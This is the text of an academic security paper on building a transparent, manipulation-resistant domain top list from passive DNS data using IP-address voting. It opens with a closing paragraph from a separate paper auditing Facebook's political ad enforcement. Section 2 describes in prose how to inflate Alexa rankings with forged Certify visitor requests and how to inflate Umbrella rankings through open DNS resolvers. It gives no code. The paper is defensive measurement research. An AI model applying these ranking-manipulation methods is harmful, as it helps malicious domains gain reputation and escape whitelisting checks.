Through a large-scale collection of all ads from 215,030 pages
with political ads over seven months, we conduct an audit
of Facebook’s political ad policy enforcement. We study
whether this enforcement prevents negligent or malicious ad-
vertisers from weakening the integrity of the online political
ad ecosystem by running political ads without disclosing them
as required, and whether enforcement unnecessarily harms
legitimate advertisers. Unfortunately, we find that Facebook’s
detection of political ads is flawed: Facebook misses more
ads than they detect, and over half of those detected ads are
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incorrectly flagged. This enables advertisers to violate poli-
cies for an extended time or even evade bans on political ads.
We attribute these flaws to limitations in Facebook’s approach
that does not sufficiently take into account the political intent
of advertisers, allows pages to continue running violating
ads, does not appear to be localized well in many countries,
and is based on ambiguous policies that are harder to comply
with and to enforce. These flaws then result in worse trans-
parency into the online political ad ecosystem, as undisclosed
and undetected political ads are neither accounted for in the
summary statistics of the Ad Library Report, nor archived in
the Ad Library so that the ads could be scrutinized after they
become inactive. Yet, despite its flaws, it is also due to this
transparency that we can audit Facebook’s enforcement and
formulate our recommendations to improve it: By being able
to hold platforms accountable, we can work towards more
secure online political speech.
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Abstract
Domain top lists serve as critical resources for the Inter-

net measurement, security, and privacy research communities.
Hundreds of prior research studies have used these lists as a
set of supposedly popular domains to investigate. However,
existing top lists exhibit numerous issues, including a lack of
transparency into the list data sources and construction meth-
ods, high volatility, and easy ranking manipulation. Despite
these flaws, these top lists remain widely used today due to a
lack of suitable alternatives.

In this paper, we systematically explore the construction
of a domain top list from scratch. Using an extensive passive
DNS dataset, we investigate different top list design consider-
ations. As a product of our exploration, we produce a voting-
based domain ranking method where we quantify the domain
preferences of individual IP addresses, and then determine a
global ranking across addresses through a voting mechanism.
We empirically evaluate our top list design, demonstrating that
it achieves better stability and manipulation resistance than
existing top lists, while serving as an open and transparent
ranking method that other researchers can use or adapt.

1 Introduction

Internet measurement, security, and privacy research heavily
relies on domain top lists, which provide a set of purportedly
popular or commonly used domains to investigate. Existing
top lists, such as Alexa [10], Umbrella [51], and Tranco [39],
have been used in hundreds of prior academic studies [39,45],
making it a critical research resource.

Despite many years of use in both academia and industry,
these domain top lists received little empirical investigation
until late 2018, when Scheitle et al. [45] and Le Pochat et
al. [39] characterized modern domain top lists and identified
various undesirable properties that could affect their use in
measurement efforts. These issues include high volatility in
the rankings, limited data granularity, and easy manipulation
to achieve high rankings for target domains. In addition, the
data sources and ranking methods for these top lists remain
opaque1, inhibiting a concrete understanding of these top lists
and their appropriate uses.

1Tranco [39] was created to account for some existing top list flaws.

In spite of the serious concerns uncovered about existing
top lists, they continue to be used today throughout network-
ing and security research, as there ultimately remain no viable
alternatives. Few existing data sources can serve as such top
lists, and there has been little investigation into the construc-
tion of such datasets. In this work, we take the first step in
rectifying these shortcomings by investigating the develop-
ment of a domain top list from the ground up. We seek to
develop a top list that provides transparency into the data
source and ranking method, stability in rankings over time,
and stronger resistance to manipulation attacks.

Designing such a top list is technically challenging though,
especially as there is no single objective or universal ranking
to obtain. Instead, one must explore various design considera-
tions and their implications on the resulting top list properties.
Furthermore, to provide representative rankings, a top list
requires global, large-scale network traffic data as input, as
well as a computationally efficient data processing method.

In this paper, we explore building a top list using an ex-
tensive passive DNS (PDNS) dataset from one of the largest
DNS service providers (similar to Cisco’s OpenDNS [22]).
Passive DNS has been widely used in both academia and
industry, making it a more transparent and accessible top list
data source compared to proprietary datasets (e.g., Alexa [10]).
We propose a voting-based domain ranking method, where
individual IP addresses express their domain preferences, and
the global top list ranking is produced across IP addresses
through a voting mechanism. We then systematically explore
the implications of different design decisions on our pro-
duced top list’s properties, and compare it to existing top lists,
finding that our produced list demonstrates more favorable
properties compared to others. Ultimately, our work provides
the following contributions.
• We systematize the prior work on top list limitations, while

also identifying new methods ourselves for more effective
top list ranking manipulation.

• We develop a voting-based domain ranking method, based
on PDNS. Other researchers can adopt our method for sim-
ilar ranking scenarios.

• We systematically evaluate different top list design consid-

While Tranco’s ranking method is published, it ultimately aggregates existing
lists, thus it still relies on opaque input data.
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erations when building a top list using PDNS, providing
insights into the nature of top list construction.

• We provide access (both via a web interface and an API
endpoint) to a regularly updated domain top list constructed
using our ranking method at https://secrank.cn/topdomain.
We also open-source our top list construction implementa-
tion at https://github.com/secrank.

2 Domain Top Lists

In this section, we describe existing domain top lists and their
notable limitations. These limitations motivate our investiga-
tion into building a top list from scratch.

2.1 Opaque Existing Top Lists

Hundreds of research papers spanning various fields have
relied on domain top lists [39, 45]. Here we describe three
domain top lists that have been commonly used to rank do-
mains by user visits or traffic. We focus on free and publicly
available lists, as these are amenable for use by researchers
(particularly for longitudinal studies). We note that there are
other top lists that are paid (or otherwise restrict usage), or
are catered towards search-engine optimization rather than
domain popularity. For example, the Majestic Million [34]
ranks websites based on backlinks from other sites [32, 33],
rather than actual website visits. There are also industry pro-
posals for top list constructions [20, 35] that have not been
used in practice nor evaluated, and exhibit major limitations2.
We do not focus on these other domain rankings3.

A common theme across all these domain top lists is the
lack of transparency into how these lists are actually con-
structed, both in the data sources used and the ranking meth-
ods themselves. We argue that this is a severe limitation, as
it inhibits a detailed and complete understanding of what
researchers are actually measuring when using these top lists.

Alexa. Alexa’s Top Million Sites [10] is a popular and
free top list. The ranking method is not public, although it
is based on web traffic telemetry collected from user installs
of Alexa’s browser extension (on Chrome and Firefox), as
well as from participating “certified” websites that subscribe
to Alexa’s Certify service [12]. These certified sites include
Alexa’s measurement JavaScript code on their web pages,
allowing Alexa to directly monitor all site visits. Alexa ranks
second-level domains (SLDs) only, rather than fully qualified
domain names (FQDNs).

2Castro [20] proposed using TF-IDF [41] for deriving domain popularity,
but such a method penalizes domains accessed by many IP addresses, which is
contrary to expectations for popular domains. Mayrhofer et al. [35] proposed
simply ranking domains by the number of normalized IP address visitors.
This simple method ignores request volume and IP characteristics though, so
it is unlikely to produce a representative top list.

3We also do not consider the Quantcast Top Million [45] as this list has
not been available since April, 2020.

Umbrella. The Cisco Umbrella Top Million [51] is an-
other popular top list based on PDNS, constructed using
DNS requests observed across Cisco Umbrella’s global net-
work (e.g., OpenDNS [22], PhishTank [37]). Umbrella ranks
FQDNs by computing a score for each domain, considering
the number of different IP addresses issuing DNS lookups
for the domain compared to others [50]. However, the actual
scoring algorithm is not public.

Tranco. The Tranco top list [39] was created in 2019 by
Internet measurement researchers seeking to develop a more
manipulation-resistant top list. Tranco is not a top list con-
struction method itself, but rather a method for combining
the rankings of domains across multiple existing top lists
(e.g., Alexa, Umbrella). While Tranco’s ranking algorithm is
published, we note that it relies on the existing top lists as
input data, and we still lack transparency into how those lists
are constructed. In addition, there is no clear interpretation of
what Tranco’s ranking actually represents, as each input list
defines top domains differently. Our work is heavily inspired
by Tranco, which we view as the first major effort in securing
top lists. Our top list is inherently different from Tranco by
nature though, as our approach is to build an open, stable,
and manipulation-resistant top list from raw network data it-
self (which Tranco could use as an additional input list). In
contrast, Tranco’s manipulation resistance arises from using
multiple lists which each must be manipulated to successfully
manipulate the overall Tranco rankings.

2.2 Issues with Existing Top Lists

Beyond a lack of transparency into existing top lists, unde-
sirable characteristics plague these lists. In this section, we
discuss these issues for Alexa and Umbrella (we elide Tranco
here as it relies on the other lists as inputs). We survey pre-
viously identified issues, and present new issues we uncover
(involving more efficient manipulation attack methods).

2.2.1 Alexa

Undocumented Changes to Alexa’s Data Collection. We
identify that Alexa has modified its data collection over time
without publicly disclosing the changes. These changes im-
pact Alexa’s characteristics and what Alexa’s ranking actu-
ally measures, likely rendering Alexa-based research as non-
reproducible (and potentially affecting the accuracy of the
research itself). As one notable example, in May 2018, Le
Pochat et al. [39] observed that Alexa’s browser extension had
halted data collection from countries in the European Union
(presumably due to GDPR [4]). This change was not an-
nounced, yet it skewed data collection towards non-European
populations without Alexa users’ knowledge, and shrunk the
top 1M list to be consistently less than a million domains
(in early 2021, the Alexa top 1M list was as small as ∼500K
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domains). Appendix A provides another example of an undis-
closed change in Alexa’s data collection.

Limited Data. Alexa has acknowledged that they do not re-
ceive enough data to make rankings beyond 100K statistically
meaningful [11]. This lack of data manifests in a number of
undesirable top list properties. The list has been observed to
be highly volatile [45], and large portions of the list are simply
alphabetically ordered [43], suggesting that many domains
have identical visit metrics and Alexa breaks ties arbitrary
through alphabetical ordering. Prior work [39] also demon-
strated how easy it is to enter the Alexa top list by generating
a few visits to target domains in browsers with the Alexa ex-
tension installed. Together, these issues raise questions about
the usefulness of much of the Alexa top list.

Easier Manipulation through Alexa’s Certify Service.
While prior work [39, 44] identified ways to enter the Alexa
top list, achieving a high ranking (i.e., below 100K) has
been challenging. We identify an easier way to manipulate
Alexa rankings that achieves high rankings, through lever-
aging Alexa’s Certify service [12]. Certify is a paid service
where websites obtain detailed audience insight by including
a JavaScript snippet on their web pages. Beyond telemetry
from its browser extension, Alexa also uses data from Certify.

We detail the manipulation approach in Appendix B. In
short, using only a single IP address, we forge fake visits
to a target Certified website that are interpreted as arriving
from many distinct visitors, through generating requests to
the Alexa data collection endpoint with the target website’s
Certify ID and random visitor ID values. To validate this at-
tack, we registered two of our own test domains with Alexa
Certify, and observed their Alexa rankings when generating
different numbers of daily forged visitors to these domains
(shown in Figure 9 in Appendix B). With 20K unique forged
visitors (one request per visitor), we obtained a ranking as
high as 51,530 (and similar rankings can be consistently ob-
tained over extended periods), highlighting how effective a
low-cost (e.g., $20/month) single address attack can be. We
note that Le Pochat et al. [39] also performed manipulation
through the Certify service, sending requests to a target Certi-
fied domain over the Tor network [49] to obtain IP diversity,
but our method does not require IP diversity.

Ethical Considerations. We conduct our Alexa experiment
on our own domains that host webservers indicating that they
are test servers. Using only two domains should have negligi-
ble impact on Alexa rankings overall (particularly given its
daily instabilities). We also rate limit our requests to Alexa’s
telemetry endpoint to avoid potentially inducing high load.

Bias towards Certified Domains. While telemetry from
the Alexa extension and Certify are characteristically differ-
ent, the Alexa top list is generated using both data sources (in
an undisclosed manner). We investigate the Certified domains
in Alexa’s list (details in Appendix C), and identify that Alexa
is heavily biased towards Certified domains.

2.2.2 Umbrella

Umbrella shares similar lack of transparency concerns as
Alexa, and significant portions of its list are also simply al-
phabetically ordered (indicating many domains have identical
ranking scores that are arbitrarily broken alphabetically) [43].
Previous studies [39, 44, 45] have successfully manipulated
Umbrella’s ranking by generating DNS requests sourced from
multiple IP addresses. They obtained IP diversity through var-
ious methods, including using cloud providers, Tor [49], and
VPN services. These prior evaluations identified that Um-
brella’s ranking relies heavily on the number of addresses
generating DNS requests, moreso than the DNS request vol-
ume per address. Scheitle et. al [45] found that 10K addresses
generating 1 DNS request each for a target domain (resulting
in 10K total requests) achieved a rank of 38K, while 1K ad-
dresses with 10 requests (also resulting in 10K total requests)
only achieved a rank of 199K. Rweyemamu et al. [44] also
performed similar manipulation evaluations on Umbrella.

We identify an additional method for generating IP diversity
for DNS-based manipulation that can achieve higher rankings
than prior work (reaching a stable ranking within the top
10K), without requiring the attacker to directly control many
IP addresses (thus reducing the costs/barriers for attacks). The
approach is to rely on public Internet infrastructure that gener-
ates DNS lookups, such as open DNS resolvers. For example,
an attacker can issue DNS lookups to open DNS resolvers,
which subsequently send recursive requests to the PDNS re-
solver vantage point. Thus, the PDNS data captures DNS
requests from the many IP addresses of these open resolvers,
rather than the attacker. We detail the open DNS resolver
manipulation process in Appendix D. In Section 6.2.3, we
will evaluate the manipulation resistance of Umbrella and our
own top list ranking method, finding that Umbrella is indeed
less manipulation resistant than our approach.

3 Overview

Given the limitations of existing domain top lists, we aim
to develop a new top list from the ground up. We start by
discussing desired properties for top lists, and outline our ap-
proach for constructing a top list that satisfies these properties.

3.1 Top List Properties

In general, domain ranking is an inherently subjective task, as
it depends on the metrics used for domain popularity. As there
is no “ground-truth” or “universal” ordering, different ranking
methods are arguably reasonable. However, there are still
desirable properties for domain top lists, given their extensive
use in measurement research. We list these properties, derived
from the limitations discussed in Section 2 and from the top
list properties evaluated in prior work [45].
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Construction Transparency. The entire method for top
list construction, including the data sources used and any
data processing, should be public. Without such information,
researchers lack a concrete understanding of the limitations
and biases that arise from using a list, potentially polluting the
research efforts that depend on the list. The existing domain
top lists lack this property, as their data sources and/or list
construction algorithms remain unpublished.

Construction Consistency. Ideally, the top list data col-
lection and construction method should stay consistent over
time, affording longitudinal measurement studies based on
the list. Unannounced inconsistencies may introduce un-
expected changes in ongoing measurements. We note that
should changes be needed, they should be publicly announced
and well documented. We identified (in Section 2) that the
existing top lists are not consistently constructed, with undoc-
umented changes to their data collection or ranking method.

Manipulation Resistant. Top lists should be constructed
to resist manipulation, limiting the extent to which resource-
constrained attackers can affect the rankings of target domains.
Attackers can benefit in practice from entering top lists, espe-
cially at higher rankings. Several security analysis tools and
services (e.g., DNSthingy [3] and Quad9 [7]) whitelist do-
mains on existing top lists, and higher-ranked sites are more
likely to be whitelisted (e.g., DNSthingy whitelists the Alexa
top 10K [3]). Malicious domains may escape scrutiny by ap-
pearing highly ranked on top lists. In addition, attackers also
manipulate top lists for attracting traffic to their sites [8, 48].
Thus, attackers are incentivized to not only enter their target
domains into top lists, but to achieve high rankings. In prac-
tice, there is enough demand for top list manipulation that
several websites [2, 9] offer top list manipulation as a paid
service, where the costs increase significantly for achieving
higher rankings (e.g., $40 for entering the Alexa list versus
$4K for entering the top 10K [9]). We note that it is un-
reasonable to prevent manipulation altogether though, as a
sufficiently powerful attack may be indistinguishable from a
legitimate popular domain. However, prior work [39, 43, 45]
and our own evaluation in Section 2 demonstrate that existing
lists are easily manipulated with limited resources (e.g., a
small number of IP addresses or requests).

Ranking Stability. A top list should exhibit ranking sta-
bility, where the majority of the list should not churn within
a short period of time. In contrast, volatile lists can result in
drastically different observations when measuring at differ-
ent times, inhibiting measurement generalization and repro-
ducibility. Note that a top list must still be reactive to notable
short-term effects though, such as a viral new domain. Prior
work [39, 45] observed high volatility in existing top lists.

3.2 Building a Top List from Scratch

In this work, we investigate constructing an open and transpar-
ent domain top list satisfying the desired properties mentioned,

which existing popular top lists do not. Our exploration into
how to systematically construct such a list also provides a
deeper understanding of the factors that affect domain rank-
ing. We aim for our work to drive further investigation into
top list construction and top list use in Internet measurement,
security, and privacy research.

To start, we require a data source that reflects the ac-
tual usage of a domain. For this, we use passive DNS (like
Umbrella). We describe our PDNS dataset in Section 4,
which provides large-scale global visibility into domain ac-
tivity. Passive DNS has been used extensively in prior re-
search [14–16, 18, 24–27, 53], affording other researchers an
opportunity to adopt our domain ranking method on other
DNS datasets. In contrast, a method requiring proprietary
data (e.g., Alexa) cannot be broadly used.

By using PDNS data, we aim for our list to rank the most
used domains, with DNS lookups as proxies for usage. From
PDNS data for a domain, we can observe two metrics that in-
tuitively reflect domain usage: 1) the number of IP addresses
that perform lookups, and 2) the lookup volume. More IP
addresses querying for a domain indicates that the domain
is more widely used. Meanwhile, the lookup volume for a
domain correlates with how strongly IP addresses prefer the
domain, as more heavily used domains should be queried
more frequently. We aim to incorporate both metrics in our
ranking method, rather than only one, for several reasons4.
First, the philosophical motivation behind using both metrics
is to more comprehensively characterize domain usage pat-
terns compared to using a single metric, as “usage” can be
defined by both how widely something is used, as well as how
frequently/intensely it is used. In addition, using both metrics
rather than only one can also improve manipulation resis-
tance, one of our core design goals, as attacks must exhibit
both high lookup volume and high IP diversity, both of which
incur costs. Finally, using both metrics can also provide more
stability than using a single metric, as the resulting ranking
would be less sensitive to minor fluctuations along only one
metric/dimension. However, aggregating the two metrics is
non-trivial. Directly statistically aggregating the two metrics
for a domain lacks a clear meaningful interpretation, as it is
unclear how to compare two domains where one has higher
lookup volume but lower IP diversity, and the other has higher
IP diversity but lower volume.

Instead, we develop an interpretable ranking approach
where each client IP address expresses their individual do-
main preferences, and the global top list ranking is based
on aggregating these domain preferences across all IP ad-
dresses through a voting scheme (where voting has been a
well-studied approach for combining preferences across multi-
ple units). Thus, our ranking can be interpreted as an Internet-
wide election (across IP addresses) on popular domains. More
specifically, our ranking measures the most used domains as

4We note that Umbrella is based on these two DNS metrics as well,
although its method is not public.
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reflected by DNS lookups in PDNS data (thus the per-IP do-
main preferences and the aggregated IP address preferences
are factored in). In Section 5.1, we describe how we determine
the per-IP domain preferences using domain lookup metrics.
We discuss potentially weighting IP addresses in Section 5.2,
as not all addresses are equal in their user populations. Finally,
in Section 5.3, we adopt voting theory to aggregate IP address
preferences, leveraging existing voting mechanisms for reach-
ing joint decisions across heterogeneous populations. This
multi-phase approach allows us to incorporate information
from both DNS-based domain usage features in determining
a top list ranking. In Section 6, we evaluate the properties
and parameters of our top list in comparison to existing lists,
demonstrating its practical value for Internet measurements.

4 Data Source

Here, we detail our PDNS dataset and discuss the considera-
tions for its use.

4.1 Our PDNS Dataset
Our study is based on continuous large-scale PDNS data
from the public DNS resolvers5 for 114DNS, the largest DNS
provider in China [1]. The dataset contains all client DNS re-
quests, as well as the DNS responses returned by the 114DNS
recursive resolvers. Due to ethical considerations, we avoid in-
vestigating DNS behavior for specific IP addresses and focus
on aggregate analysis.

The PDNS data used in this study is collected from
Nov. 2020 to Apr. 2021. On average, the PDNS dataset con-
sists of ∼500B unique DNS requests from 70M clients per
day, for∼550M FQDNs. These FQDNs are distributed across
an average of 13M SLDs a day, and cover 99.9% of IANA
TLDs [28]. (Note that our daily data volume remains con-
sistent over time.) This PDNS data provides large-scale and
longitudinal visibility into domain lookup activities, partic-
ularly compared to the datasets used by other top lists and
PDNS data used in prior work [14–16, 18, 24–27, 53]. Com-
pared to the PDNS data reportedly used for Umbrella, our
PDNS data has 5M more IP addresses and 2.5× more DNS
requests observed per day [51, 52]. While Alexa does not use
PDNS, it is reported to collect telemetry from about 705K
distinct clients [21,23], two orders of magnitude less than our
data. We also briefly note that our PDNS data is more than
35× larger than the largest PDNS dataset we identified used
in prior research [24].

4.2 Considerations for using PDNS
Data Skew. Using a PDNS dataset, our top list reflects do-
main usage based on DNS lookup metrics. These metrics are

5Resolver IP addresses:114.114.114.114 and 114.114.115.115

dependent on the PDNS vantage point though, and different
PDNS vantage points may observe varying levels of DNS
traffic for a domain. We recognize that as 114DNS is a Chi-
nese DNS provider, the client population exhibits regional
biases (e.g., skewing towards users in Asia), which can affect
which domains are most highly ranked (e.g., domains popu-
lar in Asian countries). Such biases are inherent to any data
source used for top list construction though (including Alexa,
Umbrella, and prior PDNS datasets), as no network traffic
dataset offers a truly global vantage point.

To better understand the nature of our dataset, we randomly
sampled one day of PDNS data to investigate the geolocation
distribution of client IP addresses. Using the Maxmind geolo-
cation database [6], we identified that 8.2% of IP addresses
were located outside of China, and 12.6% were not in Max-
mind but we suspect are also external to China (as we also fur-
ther used IPIP [5], a Chinese-centric IP geolocation database,
and did not find these IP addresses either). Though our data is
skewed towards Chinese clients, it consists of a large portion
of clients in other countries (∼17M IP addresses) still provid-
ing domain lookup activities. We further use the Maxmind
ISP database [6] to analyze the distribution of our clients
across networks (using the same sampled day). Over 85% of
queries originate from telecom companies (e.g., China Tele-
com/Unicom, Viettel Group, Vodafone Idea), which include
both residential and enterprise users. Other notable networks
observed include those of research institutions (e.g., China
Education and Research Network Center, National University
of Singapore, University of California San Diego, MIT, and
Stanford) and large cloud service providers (e.g., Amazon,
Google, Oracle, Alibaba, Tencent).

Given the scale and scope of our dataset, we believe it is
still a meaningful dataset for understanding DNS dynamics
and leveraging DNS data for constructing a top list. We also
note that the primary focus of this work is not to characterize
this specific PDNS dataset, but rather to develop a general
method for top list construction, which can apply broadly to
other DNS datasets (which will exhibit their own skew).

Data Analysis Time Window. Any domain lookup metric
must be defined over some time period. Here, we prioritize
daily PDNS snapshots, as such granularity is fine-grained
enough to capture the daily patterns of users/devices, such
as behavioral changes on weekdays versus weekends, or spe-
cial events and holidays. One can aggregate rankings across
multiple days [39] if long-term rankings are desired.

DNS Caching. DNS employs caching, where client
lookups that match unexpired records in a DNS cache will not
result in further DNS requests. This naturally impacts analysis
based on DNS request metrics observed at a resolver. Existing
DNS-based domain ranking methods [20, 44] do not factor
in DNS caching and the Time-to-Live (TTL) values. Prior
work [27, 40] proposed modeling the true DNS query rate
with a Poisson distribution. We investigate the characteristics
of our PDNS dataset to understand if we can reliably factor
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in DNS caching (details are in Appendix E). Ultimately, we
encounter three significant issues with using TTLs to predict
caching behavior: CNAME caching discrepancies across op-
erating systems, different client-specific caching policies, and
unclear DNS cache boundaries. These issues cannot be re-
solved using DNS-based data, which provides visibility only
at IP address granularity rather than client granularity. Thus,
we empirically justify not factoring in DNS caching in our
ranking, as we lack a reliable way to do so.

5 Voting-Based Domain Ranking

Sections 4 discussed our PDNS data characteristics and con-
siderations when using this data. Here, we introduce our
voting-based domain ranking method. In Section 5.1, we first
determine the domain preferences of individual IP addresses.
In Section 5.2, we discuss weighting IP addresses to account
for the differences in the number of clients that might reside
behind a single address. Finally, in Section 5.3, we investigate
aggregating the domain preferences across all IP addresses
using a voting scheme, producing a global domain ranking.

5.1 IP-Specific Domain Preferences
We start by considering how to calculate the domain prefer-
ences for a single IP address. From the DNS requests observed
from an IP address (within a daily snapshot, as discussed in
Section 4.2), we can measure the request volume observed for
each domain. Beyond only considering volume, we can also
quantify the duration over which the requests are made, which
we term the active duration. Intuitively, the clients residing
on an IP address should more strongly prefer domains that
they request more frequently and more consistently over time.

Request Volume γ. For an address-domain pair, the num-
ber of requests reflects the address’s preference for the do-
main. We observe that request volume exhibits a long tail,
where there are few requests for most pairs, but some pairs
exhibit up to millions of requests. When considering request
volume metrics, to avoid significantly overweighting the mi-
nority of pairs with large request volumes, we apply the com-
mon log1p(x) = ln(x+1) data smoothing function to request
volume values. This data smoothing also aids manipulation
resistance by preventing an attacker generating a high request
volume from obtaining an overly high request volume metric
(i.e., with smoothing, generating multiple times more requests
does not increase γ by the same extent). Figure 1(a) plots the
PDF of γ values for pairs on a randomly sampled day.

Active Duration α. Intuitively, popular domains are con-
sistently queried over time. Thus, we also consider the dura-
tion over which we observe DNS requests for a domain, and
for domain preferences, we weight domains higher that are
regularly queried. As a side effect, manipulation efforts are
incentivized to continue for longer periods of time, which can
increase attack costs and the likelihood of detection.
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Figure 1: PDFs of the log1p-smoothed numbers of requests
(γ values across address-domain pairs) and requested SLDs
(δ values across addresses), on a randomly sampled day.

To measure active duration, we split DNS requests into
different time intervals (we discuss our choice of using 10-
minute intervals in Section 6.1). We consider an <IP address
i, domain d> pair as active within an interval if we observe
a DNS lookup from address i for domain d within that time
window. For an address i, the active duration of domain d is
the total number of intervals that <i, d> is active for. Thus,
more regularly queried domains will be active for more in-
tervals. Inspecting the distribution of active durations on a
randomly sampled day (other days exhibit similar behavior),
we observe that ∼60% of pairs are active for one 10-minute
slot, indicating that most requests are bursty and only a few
domains are queried regularly over time.

Combination. With two domain preference metrics, active
duration α and (smoothed) request volume γ, we need to
combine them to reach the overall domain preferences for an
IP address. First, to scale each metric equivalently, we max-
min normalize each metric across domains in DNS requests
for a given IP addresses. We then determine an aggregate
domain preference metric as the geometric mean of α and γ

(as a geometric mean essentially scales the request volume
by the active duration, factoring in both metrics). We then
sort the aggregate domain preference metrics to determine the
domain preference ranking for the address.

5.2 IP Address Weighting

With PDNS data, we observe requests at the IP granularity
(as also discussed in Section 4.2). However, multiple client
devices may reside behind an address, each generating in-
dependent DNS requests. Philosophically, treating each IP
address equally when computing domain ranks could unfairly
represent the contributions of individual clients’ preferences.
Thus, we explore weighting addresses to account for their
differing client populations. PDNS data does not provide visi-
bility behind IP addresses. However, we perform a best-effort
estimation by assuming that an address’s client population
correlates with the diversity of domains resolved via DNS as
well as the address’s total request volume.

Domain Diversity δ. Our intuition is that domain diversity,
the number of distinct domains requested by an IP address,
positively correlates with the number of clients behind the
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Figure 2: CDF of the #SLDs to #FQDNs ratio across IP
addresses on a randomly sampled day, distinguishing between
addresses requesting 1K+ FQDNs from other addresses.

address (as more clients with their own user behaviors ex-
hibit more diverse domain requests). To distinguish distinct
domains, we could consider distinct SLDs or FQDNs. We
observe many addresses that request many FQDNs which
correspond to few SLDs. Such behavior actually suggests low
domain diversity, often accessing the same Internet services.
Figure 2 depicts the CDF of the #SLDs to #FQDNs ratio for IP
addresses on a randomly selected day (other days exhibit sim-
ilar behavior). We observe that few addresses (∼10%) request
the same number of FQDNs and SLDs. Notably, addresses
that request more than 1K FQDNs correspond to significantly
fewer (often ∼20% as many) SLDs. Thus, we choose to dis-
tinguish distinct domains at the SLD granularity, and measure
an address’s domain diversity in terms of its number of SLDs
requested. This choice also avoids overweighting addresses
(such as an attacker’s) that simply request many FQDNs for a
small set of SLDs. There is again a long-tail distribution ob-
served for #SLDs, so to avoid overweighting the addresses in
the long tail, we again use the log1p function for smoothing
domain diversity values (with the PDF of address δ values on
a randomly selected day shown in Figure 1(b)).

IP Address Total Request Volume µ. For an IP address,
the maximum number of requests for any given domain and
the total number of requests among all domains intuitively
correlate with the number of clients on that address. However,
as we will weight addresses relative to each other, a metric
that is harder for an attacker on one address to manipulate
relative to other addresses is preferable. If using the maximum
number of requests for a domain per address as a weighting
factor, an attacker would only need to generate more requests
for a target domain than most other addresses (for a domain)
to weight attack addresses more. In comparison, if using the
total request volume as a weighting factor, an attacker would
need to generate more requests than other addresses altogether
to manipulate weighting, a higher bar. Thus, we choose to
use total request volume as a weighting factor. We observe
a long tail in the distribution of total request volume across
addresses, and again apply log1p data smoothing to avoid
overweighting addresses in the long tail.

Combination. As with domain preferences, we have two

weighting factors that must be aggregated to determine an ad-
dress’s weight. We again normalize both to scale each metric
equivalently. Since an address’s weight should never be zero
(otherwise it does not contribute to the global ranking), we
use max normalization (rather than min-max normalization).
Specifically, δ and µ are scaled to range between [1/δmax,1]
and [1/µmax,1], respectively. Then, we compute the geomet-
ric mean of the normalized δ and µ values to determine an
address’s weight. Using a geometric mean intuitively scales
an address’s total request volume by its domain diversity, such
that addresses with higher volumes and higher diversity are
weighted more (correlating with larger client populations).

5.3 Voting across IP Addresses

Having established per-IP domain preferences (as well as po-
tential weights for addresses to account for differing client
populations), we require a method for aggregating these pref-
erences across addresses, for ranking the most preferred (pop-
ular/used) domains. A voting scheme serves as a natural so-
lution for such preference aggregation, as it combines the
preferences for candidates (domains in this case) for multiple
voters (IP addresses in this case) and determines a global rank-
ing of candidates. Rely on a voting mechanism also allows us
to tap into the existing voting theory literature, which has ana-
lyzed the computational complexities and election properties
of various schemes [17], as well as their resistance to manip-
ulation attempts [36]. Philosophically, voting to determine a
global top list seems apropos, as voting is a social process and
domain ranking is ultimately an application of social choice.

In our application of voting, we have both a large number
of voters (tens of millions of IP addresses) and a large number
of candidates (hundreds of millions of FQDNs). Thus, we
require a computationally efficient voting method. While a
diverse set of voting schemes exist, we choose to concentrate
on those based on scoring rules, rather than pairwise compar-
isons. While simpler, a scoring-based scheme exhibits com-
putational complexity that grows linearly with the number of
candidates/domains, whereas a pairwise comparison scheme
(e.g., Condorcet voting [54]) exhibits quadratic growth.

Besides complexity, we also require three properties for a
voting mechanism, which are not provided by all schemes:
1) The voting method must allow a voter to vote for multiple
candidates, as we consider multiple domains queried by each
IP address. This property excludes Plurality/FPTP voting,
where each voter chooses a single candidate; 2) We avoid
rating-based voting methods where each voter assigns a score
to all candidates. Such methods would require a per-IP scor-
ing function that provides equivalent interpretation across all
addresses, which is unsuitable for addresses in practice which
have different user populations, DNS activities, and domains
requested; 3) We cannot use a voting scheme that involves
multiple voting rounds (e.g., run-off voting), as we have only
one static set of preferences from our voting IP addresses.

USENIX Association 31st USENIX Security Symposium    631



We identify four well-established voting schemes that sat-
isfy our time complexity requirements and desired properties.

Approval. With Approval [42], each voter can vote (give
approval) to any number of candidates. Candidates are ranked
in order by the number of approving voters (with ties broken
arbitrarily). In our application, this method is equivalent to
only considering the number of IP addresses that query for a
domain. If factoring in IP weighting, then a domain’s score
is the sum of the weights of approving IP addresses. While
simple, this voting scheme does not leverage information from
per-IP domain preferences (although we will still evaluate it).

Borda. Using Borda count [42], each voter ranks the can-
didates/domains, and a candidate receives one point for every
other candidate ranked below it by the voter. Candidates are
then ranked in order by the sum of points across all voters. In
our application, as the number of domains requested by IP
addresses vary, we adopt truncated voting [42], where each
voter ranks a threshold number of candidates. In Section 6.1.1,
we evaluate different truncation thresholds.

Dowdall. Dowdall [42] is a variation on Borda, where voter
points are instead assigned following Zipf’s law. A voter’s
top-ranked candidate receives one point, whereas the N-th
ranked candidate receives 1/N points. Candidates are again
ranked in order by the sum of points across all voters. Unlike
Borda, Dowdall does not require truncated voting, as it has
a score cap (of one) regardless of the number of candidates.
However, we note that the score differences between a voter’s
consecutively-ranked candidates are more extreme than with
Borda (i.e., a voter’s top-ranked candidate receives twice as
many points as the second-ranked candidate under Dowdall,
whereas the difference is only 1 point under Borda).

Bucklin. With Bucklin, voter top choices are first consid-
ered. One candidate wins if it has a majority among voters. If
not, voter second choices are added into consideration, and
the candidate wins if it now has a majority among voters.
This process continues until a candidate obtains majority6.
We note that once one candidate has a majority among voters,
Bucklin is equivalent to a truncation of Approval where each
candidate/domain receives one point. Given the similarities,
we elide further investigation of Bucklin.

6 Evaluation

Here, we evaluate our voting-based domain ranking method,
investigating how different design decisions affect top list
properties, and how our domain top lists compare to existing
ones. We also characterize the top domains ranked by our
method. Recall that our ranking method involves domain pref-
erences, IP weighting, and a voting mechanism. We consider

6In our PDNS dataset, on average, a daily Bucklin winner can be elected
after approximately 54 rounds with IP weighting (i.e., the top 54 domains
in each IP address’s preference ranking are counted), and 200–250 rounds
without weighting. If all domains are counted, there are multiple domains
with a majority of the votes.

two main design decisions: use of IP weighting and the voting
method chosen.

Note that as our input data collection and top list construc-
tion methods are openly described (although the raw PDNS
data is not publicly available) and should remain constant,
we argue that our top list provides more construction trans-
parency and consistency compared to existing top lists (e.g.,
Alexa and Umbrella, which remain black boxes, and Tranco,
which relies on other lists). Thus, for evaluating top lists prop-
erties, we focus the remainder of this section on manipulation
resistance and stability properties.

6.1 Ranking Implementation and Runtime

We first discuss our system setup and computational costs for
